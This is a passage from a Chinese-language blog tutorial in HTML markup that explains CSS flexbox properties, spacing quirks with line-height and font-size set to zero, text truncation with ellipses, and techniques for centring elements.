class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;right&quot;</span>&gt;</span>flex: 4=400<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><img src="https://s2.ax1x.com/2020/02/03/10cyXq.png" alt="10cyXq.png" border="0" /><h4 id="flex-direction"><a href="#flex-direction" class="headerlink" title="flex-direction"></a>flex-direction</h4><p><code>flex-direction</code>属性决定主轴的方向</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span> &#123;</span><br><span class="line">  <span class="attribute">flex-direction</span>: row | row-reverse | column | column-reverse;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">row（默认值）：主轴为水平方向，起点在左端。</span><br><span class="line">row-reverse：主轴为水平方向，起点在右端。</span><br><span class="line">column：主轴为垂直方向，起点在上沿。</span><br><span class="line">column-reverse：主轴为垂直方向，起点在下沿。</span><br></pre></td></tr></table></figure><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071005.png" /><h4 id="flex-wrap"><a href="#flex-wrap" class="headerlink" title="flex-wrap"></a>flex-wrap</h4><p>默认情况下，flex容器的子元素会强制一行显示，造成原来的子元素宽度变化</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span>&#123;</span><br><span class="line">  <span class="attribute">flex-wrap</span>: nowrap | wrap | wrap-reverse;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">nowrap（默认）：不换行，强制一行内显示</span><br><span class="line">wrap：自动换行显示，第一行在上方</span><br><span class="line">wrap-reverse:自动换行且反向</span><br></pre></td></tr></table></figure><p>（1）nowrap（默认）：强制一行内显示</p><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071007.png" /><p>（2）wrap：自动换行显示</p><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071008.jpg" /><p>（3）wrap-reverse:自动换行且反向</p><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071009.jpg" /><h4 id="flex-flow"><a href="#flex-flow" class="headerlink" title="flex-flow"></a>flex-flow</h4><p><code>flex-flow</code>属性是flex-direction属性和flex-wrap属性的简写形式，默认值为row nowrap</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span> &#123;</span><br><span class="line">  <span class="attribute">flex-flow</span>: &lt;flex-direction&gt; || &lt;flex-wrap&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://s2.ax1x.com/2020/02/03/10gdDx.png" alt="10gdDx.png" border="0" /><img src="https://s2.ax1x.com/2020/02/03/10gBVK.png" alt="10gBVK.png" border="0" /><img src="https://s2.ax1x.com/2020/02/03/10gDUO.png" alt="10gDUO.png" border="0" /><h4 id="justify-content"><a href="#justify-content" class="headerlink" title="justify-content"></a>justify-content</h4><p><code>justify-content</code>属性定义了项目在主轴上的对齐方式</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span> &#123;</span><br><span class="line">  <span class="attribute">justify-content</span>: flex-start | flex-end | center | space-between | space-around | space-evenly;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="attribute">flex</span>-start（默认值）：左对齐</span><br><span class="line"><span class="attribute">flex</span>-end：右对齐</span><br><span class="line">center： 居中</span><br><span class="line">space-between：两端对齐，项目之间的间隔都相等。</span><br><span class="line">space-around：每个项目两侧的间隔相等。所以，项目之间的间隔比项目与边框的间隔大一倍。</span><br><span class="line">space-evenly: 间隔相等</span><br></pre></td></tr></table></figure><img src="https://s2.ax1x.com/2020/02/03/10gmgs.png" alt="10gmgs.png" border="0" /><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071010.png" /><h4 id="align-items"><a href="#align-items" class="headerlink" title="align-items"></a>align-items</h4><p><code>align-items</code>属性定义项目在交叉轴上如何对齐</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span> &#123;</span><br><span class="line">  <span class="attribute">align-items</span>: flex-start | flex-end | center | baseline | stretch;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="attribute">flex</span>-start：交叉轴的起点对齐。</span><br><span class="line"><span class="attribute">flex</span>-end：交叉轴的终点对齐。</span><br><span class="line">center：交叉轴的中点对齐。</span><br><span class="line">baseline: 项目的第一行文字的基线对齐。</span><br><span class="line">stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度。</span><br></pre></td></tr></table></figure><img src="https://s2.ax1x.com/2020/02/03/10g3UU.png" alt="10g3UU.png" border="0" /><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071011.png" /><h4 id="align-content"><a href="#align-content" class="headerlink" title="align-content"></a>align-content</h4><p><code>align-content</code>属性定义了多根轴线的对齐方式。如果项目只有一根轴线，该属性不起作用。</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span> &#123;</span><br><span class="line">  <span class="attribute">align-content</span>: flex-start | flex-end | center | space-between | space-around | stretch;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="attribute">flex</span>-start：与交叉轴的起点对齐。</span><br><span class="line"><span class="attribute">flex</span>-end：与交叉轴的终点对齐。</span><br><span class="line">center：与交叉轴的中点对齐。</span><br><span class="line">space-between：与交叉轴两端对齐，轴线之间的间隔平均分布。</span><br><span class="line">space-around：每根轴线两侧的间隔都相等。所以，轴线之间的间隔比轴线与边框的间隔大一倍。</span><br><span class="line">stretch（默认值）：轴线占满整个交叉轴。</span><br></pre></td></tr></table></figure><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071012.png" /><h3 id="项目属性"><a href="#项目属性" class="headerlink" title="项目属性"></a>项目属性</h3><h4 id="flex-grow"><a href="#flex-grow" class="headerlink" title="flex-grow"></a>flex-grow</h4><p><code>flex-grow</code>属性定义项目的放大比例，默认为 0，即如果存在剩余空间，也不放大</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.item</span> &#123;</span><br><span class="line">  <span class="attribute">flex-grow</span>: &lt;number&gt;; <span class="comment">/* default 0 */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://s2.ax1x.com/2020/02/03/10gWrt.png" alt="10gWrt.png" border="0" /><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071014.png" /><p>如果所有项目的<code>flex-grow</code>属性都为1，则它们将等分剩余空间（如果有的话）。如果一个项目的<code>flex-grow</code>属性为2，其他项目都为1，则前者占据的剩余空间将比其他项多一倍</p><h4 id="flex-shrink"><a href="#flex-shrink" class="headerlink" title="flex-shrink"></a>flex-shrink</h4><p><code>flex-shrink</code>属性定义了项目的缩小比例，默认为1，即如果空间不足，该项目将缩小</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.item</span> &#123;</span><br><span class="line">  <span class="attribute">flex-shrink</span>: &lt;number&gt;; <span class="comment">/* default 1 */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://s2.ax1x.com/2020/02/03/10g7GQ.png" alt="10g7GQ.png" border="0" /><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071015.jpg" /><p>如果所有项目的<code>flex-shrink</code>属性都为1，当空间不足时，都将等比例缩小。如果一个项目的<code>flex-shrink</code>属性为0，其他项目都为1，则空间不足时，前者不缩小。</p><p>负值对该属性无效</p><h4 id="flex-basis"><a href="#flex-basis" class="headerlink" title="flex basis"></a>flex basis</h4><p><code>flex-basis</code>属性定义了在分配多余空间之前，项目占据的主轴空间（main size）。浏览器根据这个属性，计算主轴是否有多余空间。它的默认值为<code>auto</code>，即项目的本来大小</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.item</span> &#123;</span><br><span class="line">  <span class="attribute">flex-basis</span>: &lt;length&gt; | auto; <span class="comment">/* default auto */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以设为跟<code>width</code>或<code>height</code>属性一样的值（比如350px），则项目将占据固定空间</p><h4 id="flex属性"><a href="#flex属性" class="headerlink" title="flex属性"></a>flex属性</h4><p><code>flex</code>属性是<code>flex-grow</code>, <code>flex-shrink</code> 和 <code>flex-basis</code>的简写，默认值为<code>0 1 auto</code>。后两个属性可选。</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.item</span> &#123;</span><br><span class="line">  <span class="attribute">flex</span>: none | [ &lt;<span class="string">&#x27;flex-grow&#x27;</span>&gt; &lt;<span class="string">&#x27;flex-shrink&#x27;</span>&gt;? || &lt;<span class="string">&#x27;flex-basis&#x27;</span>&gt; ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>该属性有两个快捷值：<code>auto</code> (<code>1 1 auto</code>) 和 none (<code>0 0 auto</code>)。</p><p>建议优先使用这个属性，而不是单独写三个分离的属性，因为浏览器会推算相关值。</p><h4 id="align-self"><a href="#align-self" class="headerlink" title="align-self"></a>align-self</h4><p><code>align-self</code>属性允许单个项目有与其他项目不一样的对齐方式，可覆盖<code>align-items</code>属性。默认值为<code>auto</code>，表示继承父元素的<code>align-items</code>属性，如果没有父元素，则等同于<code>stretch</code>。</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.item</span> &#123;</span><br><span class="line">  <span class="attribute">align-self</span>: auto | flex-start | flex-end | center | baseline | stretch;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071016.png" /><p>该属性可能取6个值，除了auto，其他都与align-items属性完全一致。</p><h2 id="CSS-注意点"><a href="#CSS-注意点" class="headerlink" title="CSS 注意点"></a>CSS 注意点</h2><h3 id="line-height-0-的情况"><a href="#line-height-0-的情况" class="headerlink" title="line-height: 0 的情况"></a>line-height: 0 的情况</h3><p>想要画下图这个轮播图按钮来着，一个<div>，中间三个<span>搞定</p><p>设置<span>为inline-block，然后设置宽高，margin-top和margin-bottom一样的话，<span>就会在<div>里垂直居中了对吧，然而并没有。<div>的高度总是比算出来的高了那么点，使得<span>并没有很完美垂直居中，怪怪的。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div&gt;</span><br><span class="line">    &lt;div class=&quot;father&quot;&gt;</span><br><span class="line">      &lt;span&gt;&lt;/span&gt;</span><br><span class="line">      &lt;span&gt;&lt;/span&gt;</span><br><span class="line">      &lt;span&gt;&lt;/span&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;style lang=&quot;less&quot;&gt;</span><br><span class="line">.father &#123;</span><br><span class="line">  width: 100px;</span><br><span class="line">  margin: 50px auto;</span><br><span class="line">  line-height: 30px;</span><br><span class="line">  background-color: pink;</span><br><span class="line">  span &#123;</span><br><span class="line">    display: inline-block;</span><br><span class="line">    width: 30px;</span><br><span class="line">    height: 30px;</span><br><span class="line">    border-radius: 50%;</span><br><span class="line">    background-color: blue;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/style&gt;</span><br></pre></td></tr></table></figure><p>结果</p><img src="https://i.niupic.com/images/2020/02/04/6mSo.png"/><p>如图并没有垂直居中，也不是margin和padding导致</p><p>如果在span里加入文本（123或者其他）或者空格符：&amp;nbsp , 不影响显示</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div&gt;</span><br><span class="line">    &lt;div class=&quot;father&quot;&gt;</span><br><span class="line">      &lt;span&gt;1&lt;/span&gt;</span><br><span class="line">      &lt;span&gt;1&lt;/span&gt;</span><br><span class="line">      &lt;span&gt;1&lt;/span&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br></pre></td></tr></table></figure><img src="https://i.niupic.com/images/2020/02/04/6mSp.png" /><p>在不要文本和空格符的情况下，可以给父元素加上：line-height: 0 解决此问题</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div&gt;</span><br><span class="line">    &lt;div class=&quot;father&quot;&gt;</span><br><span class="line">      &lt;span&gt;&lt;/span&gt;</span><br><span class="line">      &lt;span&gt;&lt;/span&gt;</span><br><span class="line">      &lt;span&gt;&lt;/span&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;style lang=&quot;less&quot;&gt;</span><br><span class="line">.father &#123;</span><br><span class="line">  width: 100px;</span><br><span class="line">  margin: 50px auto;</span><br><span class="line">  line-height: 30px;</span><br><span class="line">  background-color: pink;</span><br><span class="line">  line-height: 0;</span><br><span class="line">  span &#123;</span><br><span class="line">    display: inline-block;</span><br><span class="line">    width: 30px;</span><br><span class="line">    height: 30px;</span><br><span class="line">    border-radius: 50%;</span><br><span class="line">    background-color: blue;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/style&gt;</span><br></pre></td></tr></table></figure><p>结果</p><img src="https://i.niupic.com/images/2020/02/04/6mSq.png" /><p>给父元素添加： padding: 10px 20px;</p><img src="https://i.niupic.com/images/2020/02/04/6mSr.png" /><h3 id="font-size-0-的情况"><a href="#font-size-0-的情况" class="headerlink" title="font-size: 0 的情况"></a>font-size: 0 的情况</h3><p>看一个例子</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div&gt;</span><br><span class="line">    &lt;div class=&quot;box&quot;&gt;</span><br><span class="line">      &lt;div&gt;1&lt;/div&gt;</span><br><span class="line">      &lt;div&gt;2&lt;/div&gt;</span><br><span class="line">      &lt;div&gt;3&lt;/div&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;style lang=&quot;less&quot;&gt;</span><br><span class="line">.box &#123;</span><br><span class="line">  width: 90px;</span><br><span class="line">  height: 60px;</span><br><span class="line">  margin: 50px auto;</span><br><span class="line">  border: 1px solid #ccc;</span><br><span class="line">  div &#123;</span><br><span class="line">    display: inline-block;</span><br><span class="line">    width: 30px;</span><br><span class="line">    font-size: 14px;</span><br><span class="line">    box-sizing: border-box;</span><br><span class="line">    border: 1px solid green;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/style&gt;</span><br></pre></td></tr></table></figure><p>按道理说，3个div应该在一行显示，但是效果并没有在一行显示</p><img src="https://i.niupic.com/images/2020/02/04/6mSs.png" /><p>这就是上文说到的原因，我们在box下添加font-size:0;再看看效果</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;style lang=&quot;less&quot;&gt;</span><br><span class="line">.box &#123;</span><br><span class="line">  width: 90px;</span><br><span class="line">  height: 60px;</span><br><span class="line">  margin: 50px auto;</span><br><span class="line">  border: 1px solid #ccc;</span><br><span class="line">  font-size: 0;</span><br><span class="line">  div &#123;</span><br><span class="line">    display: inline-block;</span><br><span class="line">    width: 30px;</span><br><span class="line">    font-size: 14px;</span><br><span class="line">    box-sizing: border-box;</span><br><span class="line">    border: 1px solid green;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/style&gt;</span><br></pre></td></tr></table></figure><p>结果</p><img src="https://i.niupic.com/images/2020/02/04/6mSt.png" /><p>可以看到这才是我们想要的结果，因此在实际开发中，为了更好的还原设计稿，在父元素很有必要设置font-size:0，避免莫名其妙的间距。</p><h2 id="CSS技巧"><a href="#CSS技巧" class="headerlink" title="CSS技巧"></a>CSS技巧</h2><h3 id="长文本处理"><a href="#长文本处理" class="headerlink" title="长文本处理"></a>长文本处理</h3><p>默认：字符太长溢出了容器</p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/40ade871ebd34a53a87b5fdac31190b8~tplv-k3u1fbpfcp-zoom-1.image" /><p>字符超出部分换行</p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7c5d1b30df0041258c0ae35a496d5e78~tplv-k3u1fbpfcp-zoom-1.image" /><p>字符超出位置使用连字符</p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9f85b1c16a5c4dbfa549650794659553~tplv-k3u1fbpfcp-zoom-1.image" /><h3 id="文本超出省略"><a href="#文本超出省略" class="headerlink" title="文本超出省略"></a>文本超出省略</h3><h4 id="单行文本超出省略"><a href="#单行文本超出省略" class="headerlink" title="单行文本超出省略"></a>单行文本超出省略</h4><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.line-1</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden; <span class="comment">/* 溢出隐藏 */</span></span><br><span class="line"><span class="attribute">text-overflow</span>: ellipsis; <span class="comment">/* 超出部分显示 省略号 */</span></span><br><span class="line"><span class="attribute">white-space</span>: nowrap; <span class="comment">/* 强制一行内显示 */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/cb0075e0ceed4533b35b44db7e6a2b08~tplv-k3u1fbpfcp-zoom-1.image" /><h4 id="多行文本超出省略"><a href="#多行文本超出省略" class="headerlink" title="多行文本超出省略"></a>多行文本超出省略</h4><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.line-2</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line"><span class="attribute">text-overflow</span>: ellipsis;</span><br><span class="line"><span class="attribute">display</span>: -webkit-box;</span><br><span class="line">-webkit-<span class="selector-tag">line</span>-clamp: <span class="number">2</span>;</span><br><span class="line">-webkit-<span class="attribute">box-orient</span>: vertical;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/88afb6a8f2824d4487267f6ff7f3e49c~tplv-k3u1fbpfcp-zoom-1.image" /><h3 id="水平垂直居中"><a href="#水平垂直居中" class="headerlink" title="水平垂直居中"></a>水平垂直居中</h3><h4 id="单行的文本、行内元素、行内块元素"><a href="#单行的文本、行内元素、行内块元素" class="headerlink" title="单行的文本、行内元素、行内块元素"></a>单行的文本、行内元素、行内块元素</h4><p><strong>水平居中</strong></p><p>此类元素需要水平居中，则父级元素必须是块级元素，且父级元素上需要这样设置样式</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.parent</span> &#123;</span><br><span class="line">    <span class="attribute">text-align</span>: center;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>垂直居中</strong></p><p>方法一：通过设置上下内间距一致达到垂直居中的效果</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.single-line</span> &#123;</span><br><span class="line">    <span class="attribute">padding-top</span>: <span class="number">10px</span>;</span><br><span class="line">    <span class="attribute">padding-bottom</span>: <span class="number">10px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>方法二：通过设置 height 和 line-height 一致达到垂直居中</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.single-line</span> &#123;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100px</span>;</span><br><span class="line">    <span class="attribute">line-height</span>: <span class="number">100px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>5.CSS实现垂直水平居中（块级元素）———————————————————————————————</strong></p><p>实现css垂直水平的方式有很多，下面就写出几种常用的方法</p><p>2.父元素相对定位，子元素绝对对位+<code>margin</code>负值</p><blockquote><p>未知宽度</p></blockquote><ol><li><p>定位+</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">transform</span><br></pre></td></tr></table></figure></li></ol><p>5.<code>flex</code>布局+<code>margin</code></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.father</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">500px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">300px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background</span>: lightcoral;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">display</span>: flex;</span></span><br><span class="line"><span class="language-css">     &#125;</span></span><br><span class="line"><span class="language-css">     <span class="selector-class">.son</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background</span>: lightblue;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">margin</span>: auto;</span></span><br><span class="line"><span class="language-css">      &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;father&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;son&quot;</span>&gt;</span>我要垂直水平居中<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure><blockquote><p>效果 <img src="https://img.cdn.lsyblog.com/QQ%E6%88%AA%E5%9B%BE20190626195024.png" alt="QQ截图20190626195024.png"></p></blockquote><p>1</p><h4 id="固定宽高的块级盒子"><a href="#固定宽高的块级盒子" class="headerlink" title="固定宽高的块级盒子"></a>固定宽高的块级盒子</h4><p><strong>水平居中</strong></p><p>给div设置一个宽度，然后添加<code>margin: 0 auto</code>属性</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span> &#123;</span><br><span class="line"><span class="attribute">width</span>: <span class="number">100px</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100px</span>;</span><br><span class="line">    <span class="attribute">background</span>: red;</span><br><span class="line">    <span class="attribute">margin</span>: <span class="number">0</span> auto;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>水平垂直居中</strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.box</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">500px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: pink;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">position</span>: relative;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.son</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: blue;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">position</span>: absolute;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">top</span>: <span class="number">50%</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">left</span>: <span class="number">50%</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">margin-top</span>: -<span class="number">50px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">margin-left</span>: -<span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;son&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.box</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">500px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: pink;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">position</span>: relative;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.son</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: blue;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">position</span>: absolute;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">left</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">right</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">top</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">bottom</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">margin</span>: auto;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;son&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="不固定宽高的块级盒子"><a href="#不固定宽高的块级盒子" class="headerlink" title="不固定宽高的块级盒子"></a>不固定宽高的块级盒子</h4><p><strong>方法一：absolute + transform （常用）</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">&lt;style&gt;</span><br><span class="line">    <span class="selector-class">.box</span> &#123;</span><br><span class="line">        <span class="attribute">width</span>: <span class="number">500px</span>;</span><br><span class="line">        <span class="attribute">height</span>: <span class="number">400px</span>;</span><br><span class="line">        <span class="attribute">background-color</span>: pink;</span><br><span class="line">        <span class="attribute">position</span>: relative;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="selector-class">.son</span> &#123;</span><br><span class="line">        <span class="attribute">width</span>: <span class="number">200px</span>;</span><br><span class="line">        <span class="attribute">height</span>: <span class="number">100px</span>;</span><br><span class="line">        <span class="attribute">background-color</span>: blue;</span><br><span class="line">        <span class="attribute">position</span>: absolute;</span><br><span class="line">        <span class="attribute">top</span>: <span class="number">50%</span>;</span><br><span class="line">        <span class="attribute">left</span>: <span class="number">50%</span>;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translate</span>(-<span class="number">50%</span>, -<span class="number">50%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&lt;/style&gt;</span><br><span class="line"></span><br><span class="line">&lt;<span class="selector-tag">body</span>&gt;</span><br><span class="line">    &lt;<span class="selector-tag">div</span> class=&quot;box&quot;&gt;</span><br><span class="line">        &lt;<span class="selector-tag">div</span> class=&quot;son&quot;&gt;&lt;/<span class="selector-tag">div</span>&gt;</span><br><span class="line">    &lt;/<span class="selector-tag">div</span>&gt;</span><br><span class="line">&lt;/<span class="selector-tag">body</span>&gt;</span><br></pre></td></tr></table></figure><p><strong>方法二：flex （常用）</strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.box</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">500px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: pink;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">display</span>: flex;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">justify-content</span>: center;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">align-items</span>: center;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.son</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span 